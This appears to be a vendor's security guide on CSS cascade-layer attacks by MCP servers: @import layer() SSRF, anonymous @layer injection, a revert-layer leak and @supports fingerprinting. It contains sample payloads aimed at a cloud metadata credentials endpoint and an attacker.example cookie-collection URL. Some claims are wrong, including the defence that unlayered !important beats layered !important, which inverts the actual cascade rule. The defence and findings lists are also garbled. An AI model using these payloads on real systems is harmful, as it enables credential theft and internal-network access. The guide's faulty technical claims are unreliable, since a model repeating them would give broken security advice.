Security Guide
MCP server CSS cascade layers security — @import layer SSRF, anonymous @layer injection, revert-layer inheritable leak, @supports+@layer fingerprint
CSS cascade layers (@layer, Chrome 99+, Firefox 97+, Safari 15.4+) add a new cascade tier that sits above origin and below !important. Beyond the well-known specificity-inversion and layer-ordering attacks, four deeper exploits emerge: @import url() layer() fires credential-carrying SSRF requests through the CSS parser; anonymous @layer blocks create permanent unreferenceable cascade tiers that cannot be evicted; revert-layer on inheritable properties bleeds host lower-layer values into MCP-rendered content; and nesting @layer inside @supports enables JS-free browser feature fingerprinting through cascade probing.
How CSS @layer works
The @layer rule establishes named or anonymous cascade layers. Declarations in a later layer win over declarations in an earlier layer regardless of selector specificity. Unlayered styles win over all layered styles. Two forms matter for security: the statement form @layer name; (declares order without rules) and the block form @layer name { rules } (declares order and includes rules). The @import ... layer() form assigns an entire imported stylesheet to a named layer.
Attack 1: @import url() layer() SSRF
The @import url("https://target") layer(attacker) syntax causes the browser to fetch the target URL and assign its stylesheet content to a named cascade layer. The fetch is made with the page's credentials — cookies and HTTP authentication headers — and is not subject to CORS preflighting because CSS fetches use a no-cors mode that silently carries credentials without a preflight. The request does not appear in the JavaScript XHR/Fetch waterfall, making it invisible to monitoring hooks that only intercept XMLHttpRequest and fetch():
/* MCP server injects — fires SSRF with page cookies to internal endpoint */
@import url("http://169.254.169.254/latest/meta-data/iam/security-credentials/") layer(ssrf-probe);
/* Or: exfil to attacker's collection server */
@import url("https://attacker.example/collect?cookie=") layer(exfil);
/* The browser:
1. Parses the @import rule
2. Fetches the URL with cookies + auth headers
3. Assigns whatever CSS (or error) comes back to the named layer
4. Continues rendering — failure is silent
The fetch appears in Network > CSS resources, not XHR/Fetch */
This vector reaches: cloud provider metadata endpoints (AWS IMDSv1, GCP metadata, Azure IMDS), internal dashboards not protected by the same-origin policy for CSS loads, localhost services (Electron apps, development servers), and CI/CD artifact servers behind VPNs. The CSP connect-src directive does not restrict CSS @import; only style-src and default-src apply.
Electron apps are at elevated risk. Electron's renderer process runs with file system access and localhost bindings. An MCP server rendered in Electron's webview can use @import url("http://localhost:PORT/") layer(probe) to reach local dev servers, databases with HTTP APIs (CouchDB, Elasticsearch), and REST APIs bound only to loopback.
Attack 2: anonymous @layer permanent cascade injection
Named @layer declarations can be reordered by subsequent @layer name; statements in stylesheets parsed later. Anonymous layers — created by omitting the name in a block form @layer { ... } — cannot be referenced or reordered by any subsequent code. Once an anonymous layer is injected, its position in the cascade is permanent for the lifetime of the document:
/* MCP server stylesheet — injected early via <style> in <head> */
@layer {
/* This anonymous layer is created at parse time and cannot be:
- referenced by name in a later @layer statement
- reordered relative to named layers
- removed without removing the entire <style> element */
.auth-button { background: #333 !important; }
.payment-form { opacity: 0.4 !important; }
}
/* Even if the host app later declares:
@layer host-security, host-base, host-ui;
the anonymous layer's position is not affected.
Its position relative to the named layers
depends entirely on parse order — and if the MCP server
stylesheet is injected in <head> before host stylesheets,
the anonymous layer is always below all host layers,
but its !important declarations still win. */
The combination of anonymous layer permanence and !important within an anonymous layer creates a cascade tier that beats every host layer declaration. Host attempts to override via additional @layer declarations are ineffective — the anonymous layer cannot be retargeted.
Attack 3: revert-layer inheritable property leak
The revert-layer keyword rolls a property back to the value it would have in the previous cascade layer (the next lower-priority layer that has a declaration for the property). For inheritable properties — color, font-family, font-size, cursor, visibility, pointer-events — this means an MCP-controlled element in a higher layer can adopt the host's layer-specific value for that property by declaring revert-layer, effectively reading and rendering the host's lower-layer value:
/* Scenario: host app uses @layer to set brand colors per environment
@layer base { color: var(--brand-text, #1a1a2e); } (lower layer)
@layer theme { color: var(--env-color, #0f3460); } (higher layer)
Host's computed color on its elements encodes which @layer is active. */
/* MCP server, in an even higher layer, uses revert-layer to inherit
the host's theme-layer color onto its own rendered content: */
@layer mcp-top {
.mcp-content {
color: revert-layer; /* falls to @layer theme's value */
}
}
/* Now the MCP server's text color matches the host's @layer theme color.
This is visible: the MCP content automatically inherits whichever
environment or A/B variant the host is rendering — without the
MCP server needing to know what the host's CSS variables are. */
More maliciously: if the host uses layer-specific cursor values to indicate interactive state (e.g. cursor: not-allowed in a locked layer vs. cursor: pointer in an enabled layer), an MCP overlay with cursor: revert-layer adopts that cursor, leaking the interactive state of the element beneath it without any JavaScript.
Attack 4: @supports + @layer conditional feature fingerprint
Nesting a @layer block inside @supports creates a conditional cascade layer that exists only if the browser supports the specified feature. An MCP server can probe multiple feature conditions and read the computed values of probe elements to determine which conditional layers were created:
/* MCP server fingerprints browser feature support via conditional layers */
@supports (display: grid) {
@layer feat-grid {
.mcp-feat-probe { --has-grid: 1; }
}
}
@supports (display: masonry) {
@layer feat-masonry {
.mcp-feat-probe { --has-masonry: 1; }
}
}
@supports (anchor-name: --x) {
@layer feat-anchor {
.mcp-feat-probe { --has-anchor: 1; }
}
}
/* JS reads the probe's custom property values — each is set only if
the @supports condition is true and the layer was created:
getComputedStyle(probe).getPropertyValue('--has-grid') // "1" or ""
getComputedStyle(probe).getPropertyValue('--has-masonry') // "1" or ""
getComputedStyle(probe).getPropertyValue('--has-anchor') // "1" or "" */
This is equivalent to running CSS.supports() checks from JavaScript, but routed entirely through the cascade. In environments where JavaScript is sandboxed or where CSS.supports is monkey-patched by a security layer, the @supports + @layer channel provides an alternative path to the same information. The fingerprint vector enumerates browser version and feature tier without touching any JavaScript API that might be monitored.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| @import url() layer() SSRF | CSS injection in document | Credentialed fetch to any URL; internal network access | HIGH |
| Anonymous @layer permanent injection | Early stylesheet injection | Permanent, unreferenceable cascade tier; host cannot override without removing element | HIGH |
| revert-layer inheritable property leak | MCP element in higher layer than host | Leaks host's layer-specific CSS values into MCP-rendered content | MEDIUM |
| @supports + @layer feature fingerprint | CSS injection + probe element read | JS-free browser feature detection evading CSS.supports() monitoring | MEDIUM |
Defences
- CSP
style-srcblocks all injected@layerrules including the@import url() layer()SSRF vector. This is the most effective single control. - CSP
style-srcwithoutunsafe-inlineprevents<style>tag injection entirely, eliminating both the anonymous layer and SSRF attacks. - Restrict external CSS origins in
style-srcto your own CDN. The@import layer()SSRF requires the browser to be able to initiate the request at all; a strictstyle-src 'self' cdn.example.comprevents third-party CSS origin fetches. - Use
!importantdeclarations in unlayered host styles for security-critical UI. Unlayered!importantwins over every layered!important. Host security buttons and auth form styles should be in unlayered!importantrules. - Audit MCP server CSS for
@import url()and anonymous@layer {}patterns. SkillAudit detects@import url(non-self-origin)and anonymous@layerblocks at the static analysis phase.
SkillAudit findings for this attack surface
@import url("http://...") with non-origin URLs inside a layer() assignment — credential-carrying SSRF to internal networks@layer { ... } block form injected early in document head, creating a permanent unreferenceable cascade tierrevert-layer on inheritable properties (color, font, cursor) to adopt host's layer-specific valuesRelated: CSS @layer basic security covers layer order oracle and revert-layer reset. CSS cascade layers ordering security covers CSSLayerStatementRule.nameList enumeration and unlayered injection defeating layered styles. CSS @import security documents the broader SSRF via @import surface.